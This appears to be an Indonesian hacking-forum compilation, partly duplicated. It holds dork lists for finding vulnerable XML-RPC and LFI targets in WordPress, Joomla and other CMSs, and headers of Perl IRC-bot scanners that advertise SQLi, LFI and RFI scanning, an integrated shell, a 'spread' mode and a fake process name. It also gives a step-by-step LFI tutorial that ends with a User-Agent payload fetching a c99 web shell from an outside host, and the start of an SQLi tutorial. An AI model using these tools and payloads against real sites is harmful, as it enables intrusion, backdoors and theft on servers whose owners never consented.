!xml /xmlrpc.php "postnuke"
!xml /xmlrpc.php "dailyblog"
!xml /xmlrpc.php phpgroupware
!xml /xmlphp.php "XML-RPC for PHP"
!xml /nucleus/xmlrpc.php Nucleus © 2002-2004 The Nucleus Group - Donate!
!xml /drupal/xmlrpc.php callback
!xml /nucleus/xmlrpc/server.php Nucleus © 2002-2004 The Nucleus Group - Donate!
!xml /xmlrpc.php "Squirrelcart"
!xml /xmlrpc.php "Powered By Wordpress"
!xml /xmlrpc.php RSS 2.0 * Comments RSS 2.0 * Valid XHTML * WP
!xml /xmlrpc.php "com_pollxt"
!xml /adxmlrpc.php /phpAdsNew/ site:.it
!xml /xmlrpc.php "action"+"poll_ident"
!xml /xmlrpc.php "webcalendar"
!xml /WordPress WordPress 1.2.1
!xml /b2/xmlsrv/xmlrpc.php /b2+site:.it
!xml /b2evo/xmlsrv/xmlrpc.php /b2evo+site:.it
!xml /blog/xmlrpc.php /blog+site:.it
!xml /blog/xmlsrv/xmlrpc.php /blog+site:.it
!xml /blogs/xmlrpc.php /blogs+site:.it
!xml /blogs/xmlsrv/xmlrpc.php /blogs+site:.it
!xml /blogtest/xmlsrv/xmlrpc.php /blogtest+site:.it
!xml xmlrpc.php "a web portal system written in PHP."
!xml xmlrpc.php "* RSS 2.0 * Comments RSS 2.0 * Valid XHTML * WP"
!xml xmlrpc.php "* RSS 2.0 * Comments RSS 2.0 * Valid XHTML * WP" "powered by wordpress"
!xml xmlrpc.php RSS 2.0 * Comments RSS 2.0
!xml xmlrpc.php "WordPress Module * WordPress ME * WordPress"
!xml /nucleus/xmlrpc/server.php "Nucleus CMS v3.2 * Valid XHTML"
!xml serendipity_xmlrpc.php "Welcome to the Serendipity Administration Suite"
!xml xmlrpc.php "WordPress Module * WordPress ME * WordPress"
!xml serendipity_xmlrpc.php "Powered by. Serendipity PHP Weblog"
!xml /nucleus/xmlrpc/server.php "2003-2004, Radek Hulán"
!xml tiki-xmlrpc_services.php tiki-*.php
!xml xmlrpc.php "[ * powered by b2 * ]"
!xml xmlrpc.php /b2-include/xmlrpcs.inc on line 182
!xml /xmlsrv/xmlrpc.php /blogs/b2evocore/_functions.php
!xml /xmlsrv/xmlrpc.php /b2evocore/_functions.php
!xml /xmlsrv/xmlrpc.php /b2evocore/_functions_xmlrpcs.php on line 1
!xml xmlrpc.php wp-includes/class-xmlrpcs.php on line 255
!xml serendipity_xmlrpc.php "Powered by Serendipity"
!xml serendipity_xmlrpc.php "Open login screen"
!xml /b2/xmlsrv/xmlrpc.php "powered by b2"
!xml /nucleus/xmlrpc/server.php "Nucleus" site:it
!xml /nucleus/xmlrpc/server.php "index.php?blogid=" site:.it
!xml /nucleus/xmlrpc/server.php "The Nucleus Group" site:.it
!xml /xmlsrv/xmlrpc.php 'index.php?blog='
!xml /nucleus/xmlrpc/server.php 'index.php?catid=' + blogid
!xml /nucleus/xmlrpc/server.php 'index.php?itemid='
!xml xmlrpc.php "This web site was made with PostNuke"
!xml xmlrpc.php "Web site powered by PostNuke"
!xml /faq/xmlrpc.php "powered by phpmyFAQ"
!xml /faq/xmlrpc.php "/index.php?p=faq"
!xml /faq/xmlrpc.php "/index.php?pg=faq"
!xml /faq/xmlrpc.php "/index.php?pag=faq"
!xml /faq/xmlrpc.php "/index.php?page=faq"
!xml /faq/xmlrpc.php "/?faq"
!xml xmlrpc.php "by the Tiki community"
!xml phpgroupware/xmlrpc.php "This Site is powered by phpWebSite"
!xml xmlrpc.php "This website is powered by eGroupWare's"
!xml xmlrpc.php "This website is powered by WordPress"
!xml adxmlrpc.php "phpAdsNew"
!xml xmlrpc.php "by each individual author, All Rights Reserved"
BaMbY LFI Scanner
#!/usr/bin/perl
$powered="BaMbY";
$mail="admin(at)bamby.web.id";
#################################################################################
## 28/05/2010
## Author : BaMbY
## Team : Irc.Konthol.Net
## WebSite : http://www.bamby.web.id
## Contact : admin(at)bamby.web.id
##
## ## IMPORTANT ##
## # ONLY FOR EDUCATIONAL PURPOSE. THE AUTHOR IS NOT RESPONSABLE OF ANY
## # IMPROPERLY USE OF THIS TOOL. USE IT AT YOUR OWN RISK !!
## # THIS TOOL HAS BEEN MADE TO HELP NET ADMINISTRATORS TO MAKE THEIR
## # SYSTEM MORE SECURE.
## ##
##
## Features:
## [+]Sql Injection Scanner
## [+]XML (Extensible Markup Language) Injection Scanner
## [+]Remote File Inclusion Scanner
## [+]Local File Inclusion Scanner
## [+]Integrated Shell, so you can execute commands on the server
## [+]Spread Mode, to activate or disable Spread Function
##
#####################################################################################
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;
use HTTP::Request::Common;
use LWP::Simple;
use LWP 5.64;
use HTTP::Request::Common qw(POST);
use Digest::MD5 qw(md5_hex);
use MIME::Base64;
my $fakeproc = "/usr/sbin/apache2 -k homo";
$ircserver = "irc.konthol.net";
my $ircport = "7000";
my $nickname = "Peli";
my $ident = "Ngaceng";
my $channel = "#homo";
my $runner = "BabY";
my $fullname = 'New Scanner Konthol';
my $lfi = "!lfi";
my $xml = "!xml";
my $sql = "!sql";
my $rfi = "!rfi";
my $cmdlfi = "!cmdlfi";
my $cmdxml = "!cmdxml";
my $myste = "http://www.tempat-respon-dan-spreader.com/";
Download [Full+id]
$powered="BaMbY";
$mail="admin(at)bamby.web.id";
#################################################################################
## 28/05/2010
## Author : BaMbY
## Team : Irc.Konthol.Net
## WebSite : http://www.bamby.web.id
## Contact : admin(at)bamby.web.id
##
## ## IMPORTANT ##
## # ONLY FOR EDUCATIONAL PURPOSE. THE AUTHOR IS NOT RESPONSABLE OF ANY
## # IMPROPERLY USE OF THIS TOOL. USE IT AT YOUR OWN RISK !!
## # THIS TOOL HAS BEEN MADE TO HELP NET ADMINISTRATORS TO MAKE THEIR
## # SYSTEM MORE SECURE.
## ##
##
## Features:
## [+]Sql Injection Scanner
## [+]XML (Extensible Markup Language) Injection Scanner
## [+]Remote File Inclusion Scanner
## [+]Local File Inclusion Scanner
## [+]Integrated Shell, so you can execute commands on the server
## [+]Spread Mode, to activate or disable Spread Function
##
#####################################################################################
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;
use HTTP::Request::Common;
use LWP::Simple;
use LWP 5.64;
use HTTP::Request::Common qw(POST);
use Digest::MD5 qw(md5_hex);
use MIME::Base64;
my $fakeproc = "/usr/sbin/apache2 -k homo";
$ircserver = "irc.konthol.net";
my $ircport = "7000";
my $nickname = "Peli";
my $ident = "Ngaceng";
my $channel = "#homo";
my $runner = "BabY";
my $fullname = 'New Scanner Konthol';
my $lfi = "!lfi";
my $xml = "!xml";
my $sql = "!sql";
my $rfi = "!rfi";
my $cmdlfi = "!cmdlfi";
my $cmdxml = "!cmdxml";
my $myste = "http://www.tempat-respon-dan-spreader.com/";
Download [Full+id]
Exploit LFI with Temper Data
Mencari Target LFI
> Sekarang saya akan coba memberikan sample bagaimana cara menemukan target LFI :
example: http://www.target.com/index.php?page=blablabla
> Sekarang kita coba mengganti file setelah ?page= (blablabla) dengan ../
example: http://www.target.com/index.php?page=../
Jika kita mendapatkan pesan error seperti ini:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1330
website or target tersebut kemungkinan besar can be attack with LFI ;)
untuk memastikan nya kita masuk ke step berikut nya yaitu mencoba meng access file /etc/passwd , for this step Lets make a request:
example: http://www.target.com/index.php?page=../...etc/passwd
jika kita masih mendapat kan pesan error yg sama seperti di atas , berarti kita perlu or coba menambahkan beberapa directory (../../) lagi sampai pesan error hilang dan kita success meng access or menampilkan isi dari file /etc/passwd
contoh kalau sukses akan muncul seperti ini:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
Memeriksa apakah proc/self/environ dapat diakses
sekarang mari kita periksa atau check apakah proc/self/environ dapat di access dengan cara mengganti /etc/passwd dengan proc/self/environ.contoh:
http://www.target.com/index.php?page=../...etc/passwd <= change etc/passwd with proc/self/environ
it will be like this: http://www.target.com/index.php?page=../...lf/environ
jika success atau proc/self/environ dapat di access , maka kita akan mendapat pesan seperti berikut:
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at http://www.website.com Port 80
jika gagal atau blank atau error berarti proc/self/environ tidak dapat di access
NB: kemungkinan lain yg menyebab kan proc/self/environ tidak dapat di access ialah web or target kita menggunakan OS (operating system) FreeBSD
Mengupload code shell injection (backdoor)
Di step ini kita akan mencoba mengupload shell injection (backdoor) kita ke dalam target yg tadi atau target yg proc/self/environ dapat di access.
Bagaimana caranya ?
Di sinilah peran Tamper data di perlukan.Apa itu Tamper Data ?
NB: Tamper data ialah salah satu Add-ons pada browser mozila yg dapat kita gunakan untuk mengganti user agent atau HTTP Header.
Bagaimana cara menggunakan nya , Gmpang
download here : https://addons.mozilla.org/en-US/firefox/addon/966
setelah tamper data di install , buka tamper data dan pada User-Agent masukan command code sebagai berikut:
http://moongchee.com/board//DQ_LIBS/icon/sh.txt -O shell.php');?>
Command code tersebut akan men-download file c99.txt dari moongchee.com dan otomatis tersimpan dengan nama shell.php.
jika tidak bekerja coba exec () karena sistem () dapat dinonaktifkan pada webserver dari php.ini
Check or Akses shell backdoor kita
Sekarang mari kita periksa apakah script shell (backdoor) kita berhasil atau tersedia pada web target tadi dengan cara membuka:
www.target.com/shell.php
Jika success maka kita akan melihat tampilan backdoor shell kita. Selamat Mencoba
Thanks to: Devilc0de
> Sekarang saya akan coba memberikan sample bagaimana cara menemukan target LFI :
example: http://www.target.com/index.php?page=blablabla
> Sekarang kita coba mengganti file setelah ?page= (blablabla) dengan ../
example: http://www.target.com/index.php?page=../
Jika kita mendapatkan pesan error seperti ini:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1330
website or target tersebut kemungkinan besar can be attack with LFI ;)
untuk memastikan nya kita masuk ke step berikut nya yaitu mencoba meng access file /etc/passwd , for this step Lets make a request:
example: http://www.target.com/index.php?page=../...etc/passwd
jika kita masih mendapat kan pesan error yg sama seperti di atas , berarti kita perlu or coba menambahkan beberapa directory (../../) lagi sampai pesan error hilang dan kita success meng access or menampilkan isi dari file /etc/passwd
contoh kalau sukses akan muncul seperti ini:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
Memeriksa apakah proc/self/environ dapat diakses
sekarang mari kita periksa atau check apakah proc/self/environ dapat di access dengan cara mengganti /etc/passwd dengan proc/self/environ.contoh:
http://www.target.com/index.php?page=../...etc/passwd <= change etc/passwd with proc/self/environ
it will be like this: http://www.target.com/index.php?page=../...lf/environ
jika success atau proc/self/environ dapat di access , maka kita akan mendapat pesan seperti berikut:
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at http://www.website.com Port 80
jika gagal atau blank atau error berarti proc/self/environ tidak dapat di access
NB: kemungkinan lain yg menyebab kan proc/self/environ tidak dapat di access ialah web or target kita menggunakan OS (operating system) FreeBSD
Mengupload code shell injection (backdoor)
Di step ini kita akan mencoba mengupload shell injection (backdoor) kita ke dalam target yg tadi atau target yg proc/self/environ dapat di access.
Bagaimana caranya ?
Di sinilah peran Tamper data di perlukan.Apa itu Tamper Data ?
NB: Tamper data ialah salah satu Add-ons pada browser mozila yg dapat kita gunakan untuk mengganti user agent atau HTTP Header.
Bagaimana cara menggunakan nya , Gmpang
download here : https://addons.mozilla.org/en-US/firefox/addon/966
setelah tamper data di install , buka tamper data dan pada User-Agent masukan command code sebagai berikut:
http://moongchee.com/board//DQ_LIBS/icon/sh.txt -O shell.php');?>
Command code tersebut akan men-download file c99.txt dari moongchee.com dan otomatis tersimpan dengan nama shell.php.
jika tidak bekerja coba exec () karena sistem () dapat dinonaktifkan pada webserver dari php.ini
Check or Akses shell backdoor kita
Sekarang mari kita periksa apakah script shell (backdoor) kita berhasil atau tersedia pada web target tadi dengan cara membuka:
www.target.com/shell.php
Jika success maka kita akan melihat tampilan backdoor shell kita. Selamat Mencoba
Thanks to: Devilc0de
LFI BuGs Dork
!lfi submitComment.php?DOCUMENT_ROOT= submitComment.php
!lfi index.php?option=com_beeheard&controller= index.php?option=com_beeheard
!lfi index.php?option=com_arcadegames&controller= option=com_arcadegames
!lfi index.php?option=com_flashgames&controller= "option=com_flashgames"
!lfi /index.php?option=com_addressbook&controller= "option=com_addressbook"
!lfi index.php?option=com_advertising&controller= index.php?option=com_advertising
!lfi /index.php?option=com_cvmaker&controller= /index.php?option=com_cvmaker
!lfi index.php?option=com_myfiles&controller= index.php?option=com_myfiles
!lfi index.php?option=com_onlineexam&controller= "option=com_onlineexam"
!lfi /index.php?option=com_joommail&controller= /index.php?option=com_joommail
!lfi /index.php?option=com_memory&controller= "option=com_memory"
!lfi index.php?option=com_market&controller= "?option=com_market"
!lfi index.php?option=com_diary&controller= index.php?option=com_diary
!lfi /index.php?option=com_worldrates&controller= option=com_worldrates
!lfi index.php?option=com_record&controller= index.php?option=com_record
!lfi index.php?option=com_sweetykeeper&controller= index.php?option=com_sweetykeeper
!lfi index.php?option=com_wgpicasa&controller= index.php?option=com_wgpicasa
!lfi /index.php?option=com_s5clanroster&view= /index.php?option=com_s5clanroster
!lfi index.php?option=com_photobattle&view= index.php?option=com_photobattle
!lfi index.php?option=com_mtfireeagle&controller= index.php?option=com_mtfireeagle
!lfi index.php?option=com_lovefactory&controller= index.php?option=com_lovefactory
!lfi index.php?option=com_jacomment&view= option=com_jacomment
!lfi index.php?option=com_delicious&controller= index.php?option=com_delicious&controller=
!lfi index.php?option=com_blogfactory&controller= index.php?option=com_blogfactory
!lfi index.php?option=com_sebercart&view= index.php?option=com_sebercart
!lfi index.php?option=com_jwhmcs&controller= index.php?option=com_jwhmcs
!lfi index.php?option=com_jukebox&controller= index.php?option=com_jukebox
!lfi index.php?option=com_joomlaflickr&controller= index.php?option=com_joomlaflickr
!lfi index.php?option=com_hsconfig&controller= index.php?option=com_hsconfig
!lfi index.php?option=com_fabrik&controller= index.php?option=com_fabrik
!lfi index.php?option=com_datafeeds&controller= index.php?option=com_datafeeds
!lfi /index.php?option=com_appointment&controller= /index.php?option=com_appointment
!lfi tools.php?p= powered by Plume CMS
!lfi index.php?option=com_awiki&controller= index.php?option=com_awiki
!lfi index.php?option=com_webeecomment&controller= index.php?option=com_webeecomment
!lfi index.php?option=com_realtyna&controller= index.php?option=com_realtyna
!lfi index.php?option=com_powermail&controller= index.php?option=com_powermail
!lfi /index.php?option=com_foobla_suggestions&controller= option=com_foobla_suggestions
!lfi index.php?option=com_pcchess&controller= index.php?option=com_pcchess
!lfi index.php?option=com_tweetla&controller= index.php?option=com_tweetla
!lfi index.php?option=com_ticketbook&controller= index.php?option=com_ticketbook
!lfi index.php?option=com_jfeedback&controller= index.php?option=com_jfeedback
!lfi index.php?option=com_jprojectmanager&controller= index.php?option=com_jprojectmanager
!lfi index.php?option=com_spsnewsletter&controller= index.php?option=com_spsnewsletter
!lfi index.php?option=com_alphauserpoints&view= ndex.php?option=com_alphauserpoints
!lfi index.php?option=com_travelbook&controller= index.php?option=com_travelbook
!lfi index.php?option=com_webtv&controller= index.php?option=com_webtv
!lfi index.php?option=com_horoscope&controller= index.php?option=com_horoscope
!lfi index.php?option=com_rd_download&view=download&cid= index.php?option=com_rd_download
!lfi /modules/pages/index.php?id= pL-PHP
!lfi index.php?option=com_abbrev&controller= index.php?option=com_abbrev
!lfi /index.php?modname= Docebo
!lfi bbcode_inputs.php?layout= bbcode_inputs.php
!lfi /index.php?p= JaxCMS
!lfi index.php?option=com_otzivi&controller= index.php?option=com_otzivi
!lfi /jsloader.php?files[]= jsloader.php
!lfi file.php?file[]= file.php
!lfi vbseo.php?vbseoembedd=1&vbseourl= vbseo.php
!lfi firstvisit.php?lang_global= firstvisit.php
!lfi /modules/hayoo/index.php?theme= TRIBISUR
!lfi index.php?option=com_juliaportfolio&controller= index.php?option=com_juliaportfolio
!lfi index.php?option=com_sbsfile&controller= index.php?option=com_sbsfile
!lfi index.php?option=com_gcalendar&controller= index.php?option=com_gcalendar
!lfi index.php?option=com_ninjarsssyndicator&controller= index.php?option=com_ninjarsssyndicator
!lfi index.php?option=com_rpx&controller= index.php?option=com_rpx
!lfi index.php?option=com_linkr&controller= index.php?option=com_linkr
!lfi index.php?option=com_janews&controller= option=com_janews
!lfi index.php?option=com_ganalytics&controller= index.php?option=com_ganalytics
!lfi index.php?option=com_sectionex&controller= index.php?option=com_sectionex
!lfi index.php?option=com_rokdownloads&controller= option=com_rokdownloads
!lfi index.php?option=com_rwcards&view=rwcards&controller= index.php?option=com_rwcards
!lfi index.php?option=com_news_portal&controller= index.php?option=com_news_portal
!lfi index.php?option=com_jinventory&controller= index.php?option=com_jinventory
!lfi index.php?option=com_wisroyq&controller= index.php?option=com_wisroyq
!lfi /index.php?option=com_redtwitter&view= /index.php?option=com_redtwitter
!lfi index.php?option=com_redshop&view= index.php?option=com_redshop
!lfi upload.php?language= upload.php?language=
!lfi index.php?option=com_weberpcustomer&controller= index.php?option=com_weberpcustomer
!lfi /index.php?option=com_userstatus&controller= option=com_userstatus
!lfi index.php?option=com_jvehicles&controller= index.php?option=com_jvehicles
!lfi index.php?option=com_econtent&controller= index.php?option=com_econtent
!lfi alpha.php?Absolute_Path= alpha.php?Absolute_Path=
!lfi payment.php?page_id= payment.php
!lfi index.php?option=com_dwgraphs&controller= index.php?option=com_dwgraphs
!lfi index.php?w= Pepsi CMS
!lfi index.php?action= index.php?action=
!lfi graph.php?go= "graph.php?go="
!lfi index.php?pg= "index.php?pg="
!lfi index.php?option=com_smestorage&controller= index.php?option=com_smestorage
!lfi index.php?option=com_properties&controller= index.php?option=com_properties
!lfi index.php?option=com_jeformcr&view= index.php?option=com_jeformcr
!lfi index.php?option=com_beeheard&controller= index.php?option=com_beeheard
!lfi index.php?option=com_arcadegames&controller= option=com_arcadegames
!lfi index.php?option=com_flashgames&controller= "option=com_flashgames"
!lfi /index.php?option=com_addressbook&controller= "option=com_addressbook"
!lfi index.php?option=com_advertising&controller= index.php?option=com_advertising
!lfi /index.php?option=com_cvmaker&controller= /index.php?option=com_cvmaker
!lfi index.php?option=com_myfiles&controller= index.php?option=com_myfiles
!lfi index.php?option=com_onlineexam&controller= "option=com_onlineexam"
!lfi /index.php?option=com_joommail&controller= /index.php?option=com_joommail
!lfi /index.php?option=com_memory&controller= "option=com_memory"
!lfi index.php?option=com_market&controller= "?option=com_market"
!lfi index.php?option=com_diary&controller= index.php?option=com_diary
!lfi /index.php?option=com_worldrates&controller= option=com_worldrates
!lfi index.php?option=com_record&controller= index.php?option=com_record
!lfi index.php?option=com_sweetykeeper&controller= index.php?option=com_sweetykeeper
!lfi index.php?option=com_wgpicasa&controller= index.php?option=com_wgpicasa
!lfi /index.php?option=com_s5clanroster&view= /index.php?option=com_s5clanroster
!lfi index.php?option=com_photobattle&view= index.php?option=com_photobattle
!lfi index.php?option=com_mtfireeagle&controller= index.php?option=com_mtfireeagle
!lfi index.php?option=com_lovefactory&controller= index.php?option=com_lovefactory
!lfi index.php?option=com_jacomment&view= option=com_jacomment
!lfi index.php?option=com_delicious&controller= index.php?option=com_delicious&controller=
!lfi index.php?option=com_blogfactory&controller= index.php?option=com_blogfactory
!lfi index.php?option=com_sebercart&view= index.php?option=com_sebercart
!lfi index.php?option=com_jwhmcs&controller= index.php?option=com_jwhmcs
!lfi index.php?option=com_jukebox&controller= index.php?option=com_jukebox
!lfi index.php?option=com_joomlaflickr&controller= index.php?option=com_joomlaflickr
!lfi index.php?option=com_hsconfig&controller= index.php?option=com_hsconfig
!lfi index.php?option=com_fabrik&controller= index.php?option=com_fabrik
!lfi index.php?option=com_datafeeds&controller= index.php?option=com_datafeeds
!lfi /index.php?option=com_appointment&controller= /index.php?option=com_appointment
!lfi tools.php?p= powered by Plume CMS
!lfi index.php?option=com_awiki&controller= index.php?option=com_awiki
!lfi index.php?option=com_webeecomment&controller= index.php?option=com_webeecomment
!lfi index.php?option=com_realtyna&controller= index.php?option=com_realtyna
!lfi index.php?option=com_powermail&controller= index.php?option=com_powermail
!lfi /index.php?option=com_foobla_suggestions&controller= option=com_foobla_suggestions
!lfi index.php?option=com_pcchess&controller= index.php?option=com_pcchess
!lfi index.php?option=com_tweetla&controller= index.php?option=com_tweetla
!lfi index.php?option=com_ticketbook&controller= index.php?option=com_ticketbook
!lfi index.php?option=com_jfeedback&controller= index.php?option=com_jfeedback
!lfi index.php?option=com_jprojectmanager&controller= index.php?option=com_jprojectmanager
!lfi index.php?option=com_spsnewsletter&controller= index.php?option=com_spsnewsletter
!lfi index.php?option=com_alphauserpoints&view= ndex.php?option=com_alphauserpoints
!lfi index.php?option=com_travelbook&controller= index.php?option=com_travelbook
!lfi index.php?option=com_webtv&controller= index.php?option=com_webtv
!lfi index.php?option=com_horoscope&controller= index.php?option=com_horoscope
!lfi index.php?option=com_rd_download&view=download&cid= index.php?option=com_rd_download
!lfi /modules/pages/index.php?id= pL-PHP
!lfi index.php?option=com_abbrev&controller= index.php?option=com_abbrev
!lfi /index.php?modname= Docebo
!lfi bbcode_inputs.php?layout= bbcode_inputs.php
!lfi /index.php?p= JaxCMS
!lfi index.php?option=com_otzivi&controller= index.php?option=com_otzivi
!lfi /jsloader.php?files[]= jsloader.php
!lfi file.php?file[]= file.php
!lfi vbseo.php?vbseoembedd=1&vbseourl= vbseo.php
!lfi firstvisit.php?lang_global= firstvisit.php
!lfi /modules/hayoo/index.php?theme= TRIBISUR
!lfi index.php?option=com_juliaportfolio&controller= index.php?option=com_juliaportfolio
!lfi index.php?option=com_sbsfile&controller= index.php?option=com_sbsfile
!lfi index.php?option=com_gcalendar&controller= index.php?option=com_gcalendar
!lfi index.php?option=com_ninjarsssyndicator&controller= index.php?option=com_ninjarsssyndicator
!lfi index.php?option=com_rpx&controller= index.php?option=com_rpx
!lfi index.php?option=com_linkr&controller= index.php?option=com_linkr
!lfi index.php?option=com_janews&controller= option=com_janews
!lfi index.php?option=com_ganalytics&controller= index.php?option=com_ganalytics
!lfi index.php?option=com_sectionex&controller= index.php?option=com_sectionex
!lfi index.php?option=com_rokdownloads&controller= option=com_rokdownloads
!lfi index.php?option=com_rwcards&view=rwcards&controller= index.php?option=com_rwcards
!lfi index.php?option=com_news_portal&controller= index.php?option=com_news_portal
!lfi index.php?option=com_jinventory&controller= index.php?option=com_jinventory
!lfi index.php?option=com_wisroyq&controller= index.php?option=com_wisroyq
!lfi /index.php?option=com_redtwitter&view= /index.php?option=com_redtwitter
!lfi index.php?option=com_redshop&view= index.php?option=com_redshop
!lfi upload.php?language= upload.php?language=
!lfi index.php?option=com_weberpcustomer&controller= index.php?option=com_weberpcustomer
!lfi /index.php?option=com_userstatus&controller= option=com_userstatus
!lfi index.php?option=com_jvehicles&controller= index.php?option=com_jvehicles
!lfi index.php?option=com_econtent&controller= index.php?option=com_econtent
!lfi alpha.php?Absolute_Path= alpha.php?Absolute_Path=
!lfi payment.php?page_id= payment.php
!lfi index.php?option=com_dwgraphs&controller= index.php?option=com_dwgraphs
!lfi index.php?w= Pepsi CMS
!lfi index.php?action= index.php?action=
!lfi graph.php?go= "graph.php?go="
!lfi index.php?pg= "index.php?pg="
!lfi index.php?option=com_smestorage&controller= index.php?option=com_smestorage
!lfi index.php?option=com_properties&controller= index.php?option=com_properties
!lfi index.php?option=com_jeformcr&view= index.php?option=com_jeformcr
SQL , LFI dan RFI Scanner
#!/usr/bin/perl
############################################
# VopCrew Multi Scanner v5.1 #
# ReCoded by arianom #
# kill.nines[at]gmail[dot]com #
# Copyleft © 2009 VopCrew UnderGrounD #
############################################
# perl vopcrew.txt help me !!! #
############################################
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use Socket;
my $fakeproc = $ARGV[6];
$ircserver = $ARGV[0] unless $ircserver;
my $ircport = $ARGV[1];
my $nickname = $ARGV[2];
my $ident = $ARGV[3];
my $channel = '#'.$ARGV[4];
my $runner = $ARGV[5];
my $fullname = ' 15( 7@ 2VopCrew-Multi-Scanner 15) ';
my $injector = $ARGV[7];
my $phpshell = $ARGV[8];
my $rficmd = '!rfi';
my $lficmd = '!lfi';
my $mysqlcmd = '!mysql';
my $mssqlcmd = '!mssql';
my $alicmd = '!log';
$rfi_result = "v0pCr3w";
$lfi_test = "../../../../../../../../../../../../../../../etc/passwd";
$lfi_output = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
$sql_test = "'";
$mysql_output = ("Query failed|Query Error|right syntax to use near");
$mssql_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation");
my $success = "\n [+] VopCrew Multi Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";
my $failed = "\n [-] perl $0 \n\n";
if (@ARGV != 9) { print $failed; exit(); } else { print $success; }
Download [Lengkap +id]
NB: Cara menggunakan > perl vopscan.txt
Nanti akan muncul Cara Penggunaan yang benar pada kolom shell anda
############################################
# VopCrew Multi Scanner v5.1 #
# ReCoded by arianom #
# kill.nines[at]gmail[dot]com #
# Copyleft © 2009 VopCrew UnderGrounD #
############################################
# perl vopcrew.txt help me !!! #
############################################
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use Socket;
my $fakeproc = $ARGV[6];
$ircserver = $ARGV[0] unless $ircserver;
my $ircport = $ARGV[1];
my $nickname = $ARGV[2];
my $ident = $ARGV[3];
my $channel = '#'.$ARGV[4];
my $runner = $ARGV[5];
my $fullname = ' 15( 7@ 2VopCrew-Multi-Scanner 15) ';
my $injector = $ARGV[7];
my $phpshell = $ARGV[8];
my $rficmd = '!rfi';
my $lficmd = '!lfi';
my $mysqlcmd = '!mysql';
my $mssqlcmd = '!mssql';
my $alicmd = '!log';
$rfi_result = "v0pCr3w";
$lfi_test = "../../../../../../../../../../../../../../../etc/passwd";
$lfi_output = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
$sql_test = "'";
$mysql_output = ("Query failed|Query Error|right syntax to use near");
$mssql_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation");
my $success = "\n [+] VopCrew Multi Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";
my $failed = "\n [-] perl $0
if (@ARGV != 9) { print $failed; exit(); } else { print $success; }
Download [Lengkap +id]
NB: Cara menggunakan > perl vopscan.txt
Nanti akan muncul Cara Penggunaan yang benar pada kolom shell anda
SQLi With Schemafuzz
Langsung aja tutornya ya
siapkan alat dan bahan sebagai berikut :
1.Python (http://www.python.org/ftp/python/2.5/python-2.5.msi)
2.Schemafuzz (http://www.beenuarora.com/code/schemafuzz.py)
3.CMD
4.Konsole (bagi pengguna linux)
bagi pengguna windust ikuti langkah berikut
buka menu CMD kemudian masuk kedalam directori Cdengan menggunakan perintah
cd c:\ enter
c:\>schemafuzz.py enter
Bagi pengguna linux tinggal mengetikkan di konsloe perintah berikut
./schemafuz.py enter
oke 
setalah masuk ke direktory schemafuzz
tingal ikuti langkah selanjutnya
1.Cari target
Misal: http://127.0.0.1/site/phpweb/forum.php?forum=1
sebelum kita melangkah lebih lanjut perlu kita ketahui apa saja perintah yang harus digunakan.
caranya seperti ini ./schemafuzz.py -h help
kita temukan sebagian perintahnya seperti ini
–schema, –dbs, –dump, –fuzz, –info, –full, –findcol
langkah pertama
